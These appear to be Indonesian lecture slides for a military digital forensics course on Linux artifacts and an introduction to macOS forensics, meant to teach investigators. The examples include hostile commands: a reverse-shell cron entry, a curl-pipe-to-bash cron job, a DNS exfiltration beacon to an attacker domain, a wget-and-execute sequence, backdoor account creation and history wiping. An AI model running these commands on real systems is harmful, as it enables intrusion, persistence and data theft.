Forensik Digital

Pertemuan 07

Forensik Linux dan Pengenalan Mac OS

Mata Kuliah: Digital Forensic for Military Purposes | 3 SKS

🎯 Capaian Pembelajaran

Setelah pertemuan ini, mahasiswa mampu:

  1. Menjelaskan arsitektur sistem file Linux dan struktur direktori forensik
  2. Mengidentifikasi dan menganalisis artefak forensik Linux
  3. Mengekstraksi dan menginterpretasi bash history dan command line artifacts
  4. Memahami sistem autentikasi Linux dan menganalisis audit logs
  5. Menganalisis cron jobs dan systemd timers untuk deteksi persistence
  6. Melakukan analisis log files Linux secara komprehensif
  7. Memahami konsep dasar forensik Mac OS (APFS, plist, unified logs)

📋 Agenda Hari Ini

Bagian 1: Forensik Linux (70 menit)

  • Arsitektur Sistem File Linux
  • Artefak /etc/passwd & /etc/shadow
  • Bash History & Command Artifacts
  • Autentikasi & Audit Logs
  • Cron Jobs & Systemd Timers
  • Analisis Log Files

Bagian 2: Pengenalan Mac OS (30 menit)

  • Arsitektur Mac OS
  • APFS vs HFS+
  • Plist Files & Spotlight
  • FSEvents & Unified Logs
  • Perbandingan Linux vs Mac OS

📂 Filesystem Hierarchy Standard (FHS)

Linux menggunakan hierarki tunggal berakar pada root (/). Tidak ada drive letter seperti Windows.
Direktori Fungsi Relevansi Forensik
/var/log Log sistem 🔴 Aktivitas, autentikasi, kernel
/etc Konfigurasi sistem 🔴 User accounts, password, cron
/home Data pengguna 🔴 Bash history, dokumen, SSH keys
/tmp File sementara 🟡 Malware staging, payload
/root Home root 🟡 Aktivitas administrator

💾 Sistem File Linux Utama

Filesystem Journal Max File Fitur Forensik
ext4 Ya 16 TB Deleted file recovery, 4 timestamps, journal analysis
XFS Metadata only 8 EB Extent-based analysis
Btrfs CoW 16 EB Snapshot forensics, subvolume analysis
💡 ext4 adalah filesystem default di sebagian besar distribusi Linux modern

⏱️ Inode dan 4 Timestamps ext4

Setiap file memiliki inode yang menyimpan metadata kritis:

Timestamp Nama Berubah Ketika Contoh Forensik
atime Access File dibaca Kapan dokumen rahasia terakhir dibuka
mtime Modify Konten berubah Kapan config firewall dimodifikasi
ctime Change Metadata berubah Deteksi perubahan permission
crtime Creation Tidak berubah Kapan file malware pertama kali muncul

⚠️ crtime hanya tersedia di ext4, tidak di ext3 atau filesystem lama

🔍 Perintah stat

Menampilkan seluruh informasi inode file:

$ stat /var/log/auth.log
  File: /var/log/auth.log
  Size: 85420      Blocks: 168        IO Block: 4096   regular file
Device: 801h/2049d  Inode: 262148      Links: 1
Access: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)
Access: 2026-01-15 08:30:15.123456789 +0700
Modify: 2026-01-15 08:30:12.987654321 +0700
Change: 2026-01-15 08:30:12.987654321 +0700
 Birth: 2026-01-01 00:00:01.000000000 +0700
💡 Tips: Bandingkan Birth (crtime) dengan Modify (mtime) — jika berbeda jauh, file mungkin telah dimodifikasi setelah pembuatan

👤 Analisis /etc/passwd

Format: username:x:UID:GID:GECOS:home:shell

root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
tniadmin:x:1000:1000:Admin TNI Kodam:/home/tniadmin:/bin/bash
temp_user:x:1002:1002::/home/temp_user:/bin/bash
🚨 Red Flags Forensik:
  • UID 0 selain root → Backdoor account!
  • Shell valid tanpa GECOS → Akun mencurigakan
  • Home di /tmp → Upaya penyembunyian

🔒 Analisis /etc/shadow

Hanya dapat dibaca oleh root — menyimpan hash password:

root:$6$xyz123$ABCdef....:19500:0:99999:7:::
tniadmin:$6$salt$HashedPassword:19480:0:90:14:30:19800:
temp_user:!:19495:0:99999:7:::
Indikator Arti
$6$ Hash SHA-512 (standar modern)
$y$ Hash yescrypt (lebih baru)
! atau * Akun terkunci/disabled
Field expire Tanggal kadaluarsa akun

🚨 Studi Kasus: Deteksi Backdoor Account

Ditemukan entry mencurigakan di /etc/passwd:

sysbackup:x:0:0::/tmp:/bin/bash
UID 0
Hak akses root penuh!
Home: /tmp
Penyembunyian data
GECOS kosong
Tanpa identitas jelas
Shell: /bin/bash
Interaktif — bukan service account

Deteksi: awk -F: '$3 == 0 {print}' /etc/passwd

📜 Bash History — Artefak Emas

Lokasi File History

  • /home/user/.bash_history
  • /root/.bash_history
  • ~/.zsh_history (zsh)

Variabel Penting

  • HISTFILE — Lokasi file
  • HISTSIZE — Kapasitas memori
  • HISTCONTROL — Kebijakan simpan
  • HISTTIMEFORMAT — Timestamp
⚠️ Anti-Forensik History: unset HISTFILE, HISTSIZE=0, history -c, shred ~/.bash_history

🔍 Analisis Bash History Mencurigakan

whoami                                          # Reconnaissance
id
cat /etc/passwd                                  # Enumeration
cat /etc/shadow
wget http://malicious.com/backdoor.sh -O /tmp/.hidden
chmod +x /tmp/.hidden                            # Malware prep
/tmp/.hidden &                                   # Execution
iptables -A INPUT -p tcp --dport 4444 -j ACCEPT  # Open port
useradd -o -u 0 -g 0 -M -d /tmp -s /bin/bash sysbackup
history -c                                       # Cover tracks
Pola Serangan: Recon → Enumeration → Download → Execute → Persist → Clean

🔐 Auth.log — Log Autentikasi

Distribusi Lokasi
Debian/Ubuntu /var/log/auth.log
RHEL/CentOS /var/log/secure
Systemd-based journalctl -u sshd
Jan 15 08:30:15 server01 sshd[12345]: Accepted publickey for tniadmin from 192.168.1.100
Jan 15 08:31:02 server01 sudo: tniadmin : USER=root ; COMMAND=/bin/cat /etc/shadow
Jan 15 09:15:44 server01 sshd[12400]: Failed password for invalid user admin from 10.0.0.55

🚨 Studi Kasus: Brute-Force SSH

Feb 10 03:14:01 kodam-srv sshd: Failed password for root from 203.0.113.50
Feb 10 03:14:02 kodam-srv sshd: Failed password for root from 203.0.113.50
Feb 10 03:14:03 kodam-srv sshd: Failed password for admin from 203.0.113.50
...
Feb 10 03:14:55 kodam-srv sshd: Accepted password for operator01 from 203.0.113.50
Feb 10 03:15:10 kodam-srv sudo: operator01 : USER=root ; COMMAND=/bin/bash
Multiple failed attempts
41 detik, satu IP
Waktu dini hari
03:14 — menghindari deteksi
Dictionary attack
root → admin → operator01
Privilege escalation
Langsung sudo ke root

⏰ Cron Jobs — Scheduled Tasks

Lokasi Fungsi
/etc/crontab Crontab sistem utama
/etc/cron.d/ Crontab tambahan
/etc/cron.daily/ Script harian
/var/spool/cron/crontabs/ Crontab per-user

Format: menit jam hari bulan hari_minggu user perintah

# Normal
0 2 * * * root /usr/sbin/logrotate /etc/logrotate.conf

# MENCURIGAKAN — Reverse shell setiap 5 menit!
*/5 * * * * root bash -i >& /dev/tcp/10.0.0.99/4444 0>&1

🔍 Analisis Cron Mencurigakan

Ditemukan di /var/spool/cron/crontabs/www-data:

*/3 * * * * /tmp/.cache/update.sh > /dev/null 2>&1
User: www-data
Web server tidak perlu cron
/tmp/.cache/
Hidden directory di /tmp
*/3 = tiap 3 menit
C2 beaconing pattern
> /dev/null 2>&1
Sembunyikan output

Kesimpulan: Backdoor persistence via cron job

⚙️ Systemd Timers & Services

Alternatif modern untuk cron pada distribusi berbasis systemd:

# Melihat semua timer aktif
systemctl list-timers --all

# Lokasi service unit
/etc/systemd/system/     # Custom (prioritas tertinggi)
/lib/systemd/system/     # Dari paket (default)
/run/systemd/system/     # Runtime
🚨 Contoh Backdoor Systemd:
[Service]
ExecStart=/usr/local/bin/.svc_helper -c 203.0.113.99 -p 443
Restart=always
Hidden binary, koneksi ke C2, auto-restart

📊 File Log Utama Linux

File Log Isi Relevansi
/var/log/syslog Pesan sistem umum Overview aktivitas
/var/log/auth.log Login, sudo, SSH Unauthorized access
/var/log/kern.log Kernel messages USB device, driver
/var/log/dpkg.log Package installation Software timeline
/var/log/wtmp Login sessions (binary) Baca: last
/var/log/btmp Failed logins (binary) Baca: lastb

🛠️ Analisis Log dengan Command Line

grep — Pattern Searching

# Cari login gagal dari IP tertentu
grep "Failed password" /var/log/auth.log | grep "203.0.113.50"

# Cari aktivitas sudo
grep "sudo:" /var/log/auth.log

# Cari akses SSH berhasil
grep "Accepted" /var/log/auth.log

awk — Field Processing

# Top 10 IP dengan login gagal terbanyak
grep "Failed password" /var/log/auth.log \
  | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" \
  | sort | uniq -c | sort -rn | head -10

📓 Journalctl — Systemd Journal

# Log sejak waktu tertentu
journalctl --since "2026-01-15 00:00:00" --until "2026-01-15 23:59:59"

# Filter berdasarkan unit
journalctl -u sshd.service

# Log kernel
journalctl -k

# Export ke JSON untuk analisis
journalctl -o json --since today > journal_export.json
💡 Gunakan zgrep untuk mencari dalam file log terkompresi (.gz) dari log rotation

📋 File Log Binary: wtmp & btmp

wtmp — Login Berhasil

$ last -f /var/log/wtmp
tniadmin pts/0 192.168.1.100
  Wed Jan 15 08:30  still logged in
root     tty1
  Tue Jan 14 22:00 - 23:45

btmp — Login Gagal

$ sudo lastb -f /var/log/btmp
admin  ssh:notty 10.0.0.55
  Wed Jan 15 09:15 - 09:15
root   ssh:notty 10.0.0.55
  Wed Jan 15 09:15 - 09:15

⚠️ File binary — tidak bisa dibaca dengan text editor, gunakan last dan lastb

🔑 SSH Artifacts

File Fungsi Nilai Forensik
~/.ssh/authorized_keys Keys yang boleh login 🔴 Target utama penyerang
~/.ssh/known_hosts Server yang pernah diakses 🟡 Lateral movement trail
~/.ssh/config Konfigurasi koneksi 🟡 Target server lain
/etc/ssh/sshd_config Konfigurasi server SSH 🟡 Policy & security settings
🚨 Perhatian: Penambahan public key penyerang ke authorized_keys memungkinkan akses tanpa password!

👻 File & Direktori Tersembunyi

File diawali titik (.) = hidden di Linux. Sering dieksploitasi malware!

Lokasi Umum Malware Alasan
/tmp/.hidden/ Writable semua, sering diabaikan
/dev/shm/ RAM-based, hilang saat reboot
/usr/local/bin/.file Terlihat seperti system binary
# Mencari semua file tersembunyi yang baru dibuat
find / -name ".*" -type f -newer /etc/passwd 2>/dev/null

# Mencari file SUID (privilege escalation)
find / -perm -4000 -type f 2>/dev/null

🏕️ Living off the Land (LotL)

Teknik dimana penyerang menggunakan fitur legitimate Linux untuk persistence — sulit dideteksi karena tidak ada malware tradisional.
Teknik LotL Mekanisme Deteksi
Cron persistence Cron job untuk reverse shell Audit semua crontab
Systemd service Service unit untuk backdoor Periksa /etc/systemd/system/
SSH key injection Tambah authorized_keys Audit semua SSH keys
Bashrc modification Sisipkan perintah di .bashrc Periksa startup scripts
LD_PRELOAD hijack Hijack shared library Periksa /etc/ld.so.preload

🚨 Studi Kasus Militer: Data Exfiltration

Server database Kodam XIV/Hasanuddin:

Jan 20 02:15:30 kodam14-db sshd: Accepted publickey for admin from 192.168.10.5
Jan 20 02:16:45 kodam14-db sudo: admin : COMMAND=/usr/bin/mysqldump --all-databases
Jan 20 02:20:10 kodam14-db sudo: admin : COMMAND=/usr/bin/scp /tmp/all_db.sql admin@172.16.0.99
Jan 20 02:21:30 kodam14-db sudo: admin : COMMAND=/usr/bin/shred -n 3 /tmp/all_db.sql
Jan 20 02:22:00 kodam14-db sudo: admin : COMMAND=/usr/sbin/service rsyslog stop
Timeline: Login (02:15) → Dump DB (02:16) → Exfiltrate (02:20) → Shred evidence (02:21) → Stop logging (02:22)

🌐 Teknik Lanjut: DNS Exfiltration

Cron — Fileless Malware

*/15 * * * * root \
  curl -s https://pastebin.com/raw/aBcDeF \
  | bash
Download & execute payload dinamis

Systemd — DNS Beacon

ExecStart=/bin/bash -c \
  'nslookup $(cat /etc/hostname)\
  .data.attacker-dns.com'
Kirim data via DNS query
⚠️ DNS traffic jarang dimonitor dan diblokir — efektif untuk covert communication

📅 Timeline Analysis dengan Plaso

# Step 1: Extract semua timestamps
log2timeline.py --storage-file timeline.plaso /path/to/disk-image.dd

# Step 2: Filter dan export
psort.py -o l2tcsv timeline.plaso "date > '2026-01-15'" > timeline.csv

# Step 3: Analisis visual
# Import CSV ke Timeline Explorer / Excel
Sumber artefak yang dianalisis: Filesystem timestamps, syslog, auth.log, bash_history, wtmp/btmp, dpkg.log, Apache logs, systemd journal

🪟 WSL2 untuk Forensik Linux di Windows

WSL2 memungkinkan analisis artefak Linux tanpa meninggalkan Windows — sesuai standar workstation TNI.
  1. Install: wsl --install
  2. Akses file Windows: /mnt/c/Evidence/
  3. Mount image: sudo losetup -fP image.dd && sudo mount -o ro /dev/loop0p1 /mnt/evidence/
  4. Analisis: grep, awk, sed, Sleuth Kit, plaso
  5. Install tools: apt install sleuthkit

🍎

Bagian 2: Pengenalan Forensik Mac OS

30 menit

🏗️ Arsitektur Mac OS

macOS dibangun di atas Darwin (BSD Unix):

Komponen Deskripsi Forensik
APFS Apple File System (default) CoW, snapshots, encryption
launchd Service manager Persistence mechanism
Spotlight Search indexing Rich metadata database
FSEvents FS event logging Persistent file timeline
Unified Logs Centralized logging Sumber log utama

💿 APFS — Apple File System

Fitur Deskripsi Implikasi Forensik
Copy-on-Write Data baru di lokasi baru Versi lama mungkin masih ada
Snapshots Snapshot otomatis Recovery data historis
Native Encryption Enkripsi per-volume/file Tantangan akses data
Nanosecond TS Presisi timestamp tinggi Timeline lebih akurat

🔎 Artefak Utama Mac OS

📋 Plist Files
Format konfigurasi utama (setara Registry Windows). Lokasi: ~/Library/Preferences/. Format: binary (bplist) atau XML.
🔦 Spotlight
Mengindeks semua file — nama, path, metadata, konten teks, EXIF. Database: /.Spotlight-V100/
📊 FSEvents
Mencatat setiap perubahan filesystem. File terhapus tetap tercatat! Lokasi: /.fseventsd/
📝 Unified Logs
Logging terpusat (binary). Baca: log show. Lokasi: /var/db/diagnostics/

📊 FSEvents — Nilai Forensik Tinggi

✅ Keunggulan

  • Mencatat file yang sudah dihapus
  • Log persistent meski file hilang
  • Timeline lengkap filesystem
  • Mencakup USB drive activity

⚠️ Keterbatasan

  • Tidak menyimpan konten file
  • Root dapat menghapusnya
  • Granularitas kasar
  • Terhapus saat disk penuh
💡 Tool: FSEventsParser (Python, open-source) untuk parsing FSEvents logs

⚔️ Perbandingan: Linux vs Mac OS

Aspek Linux Mac OS
Filesystem ext4, XFS, Btrfs APFS, HFS+
User data /home/user/ /Users/username/
Config format Text files plist (binary/XML)
Logging syslog + journald Unified Logs
Scheduled tasks cron, systemd timers launchd (plist-based)
FS events inotify (runtime only) FSEvents (persistent)
Encryption dm-crypt/LUKS FileVault (APFS native)

⚠️ Tantangan Forensik Mac OS

  1. FileVault encryption — APFS native encryption tanpa password/recovery key
  2. T2/M-series chip — Hardware security membatasi boot eksternal
  3. Proprietary formats — plist binary, APFS, unified logs
  4. Closed ecosystem — Dokumentasi internal terbatas
  5. Tool availability — Lebih sedikit dan sering berbayar
Dalam konteks militer Indonesia: Mayoritas infrastruktur TNI menggunakan Windows/Linux, sehingga kapabilitas forensik Mac OS masih perlu dikembangkan

🛠️ Tools Forensik Mac OS

Tool Tipe Fungsi
mac_apt Open-source Parser artefak macOS
APOLLO Open-source Apple Pattern of Life analysis
plistutil Open-source Parser plist (cross-platform)
FSEventsParser Open-source Parser FSEvents logs
Autopsy Open-source Analisis APFS dasar

🧠 Quiz Time!

Pertanyaan 1:

Entry berikut di /etc/passwd adalah indikator apa?
sysbackup:x:0:0::/tmp:/bin/bash

A. Service account normal
B. Backdoor account ✅
C. Backup script user
D. Temporary user

💡 UID 0 selain root + home di /tmp = sangat mencurigakan!

🧠 Quiz Time!

Pertanyaan 2:

File .bash_history berukuran 0 byte. Kemungkinan penyebab UTAMA?

A. Akun baru belum digunakan
B. Penghapusan jejak (anti-forensik) ✅
C. Bug pada bash shell
D. Disk penuh

⚠️ Periksa .bashrc untuk HISTFILE=/dev/null dan gunakan stat untuk cek timestamps!

🧠 Quiz Time!

Pertanyaan 3:

Artefak Mac OS yang mencatat perubahan filesystem termasuk file yang sudah dihapus adalah?

A. Spotlight
B. Unified Logs
C. FSEvents ✅
D. Plist files

💡 FSEvents mencatat create/modify/delete — jejak tetap ada meski file dihapus!

🧠 Quiz Time!

Pertanyaan 4:

Perintah untuk mencari semua akun dengan UID 0 (hak root) di Linux?

A. cat /etc/shadow | grep root
B. find / -uid 0 -type f
C. awk -F: '$3 == 0 {print}' /etc/passwd
D. grep "root" /etc/passwd

💡 Option D hanya mencari kata "root", bukan UID 0 — bisa miss backdoor account!

📝 Ringkasan

Konsep Poin Kunci
FHS /var/log, /etc, /home, /tmp — prioritas forensik tertinggi
Timestamps atime, mtime, ctime, crtime (ext4) — gunakan stat
User Artifacts /etc/passwd, /etc/shadow — UID 0 selain root = red flag
Bash History .bash_history — artefak emas; waspada anti-forensik
Log Analysis auth.log, syslog; grep/awk/journalctl
Persistence Cron, systemd timers, SSH keys, LotL techniques
Mac OS APFS, plist, FSEvents, Unified Logs

📅 Pertemuan Berikutnya

Pertemuan 08: UJIAN TENGAH SEMESTER (UTS)

  • Cakupan: Pertemuan 1-7
  • Ujian Teori (50%): Essay dan pilihan ganda — 90 menit
  • Ujian Praktik (50%): Studi kasus investigasi forensik — 120 menit
⚠️ Persiapkan diri dengan baik! Pelajari kembali seluruh materi Pertemuan 1-7

📚 Referensi

  1. Casey, E. (2022). Digital Evidence and Computer Crime (4th Ed.). Academic Press. Chapter 10
  2. Phillips, A., et al. (2022). Guide to Computer Forensics and Investigations (6th Ed.). Cengage. Chapter 9.
  3. Nikkel, B. (2021). Practical Forensic Imaging (2nd Ed.). No Starch Press. Chapter 9-10.
  4. Altheide, C. & Carvey, H. (2011). Digital Forensics with Open Source Tools. Chapter 4-5.
  5. Linux LEO: https://linuxleo.com/

Terima Kasih

🔍 Forensik Digital untuk Keperluan Militer

Pertemuan 07: Forensik Linux dan Pengenalan Mac OS


Ada pertanyaan?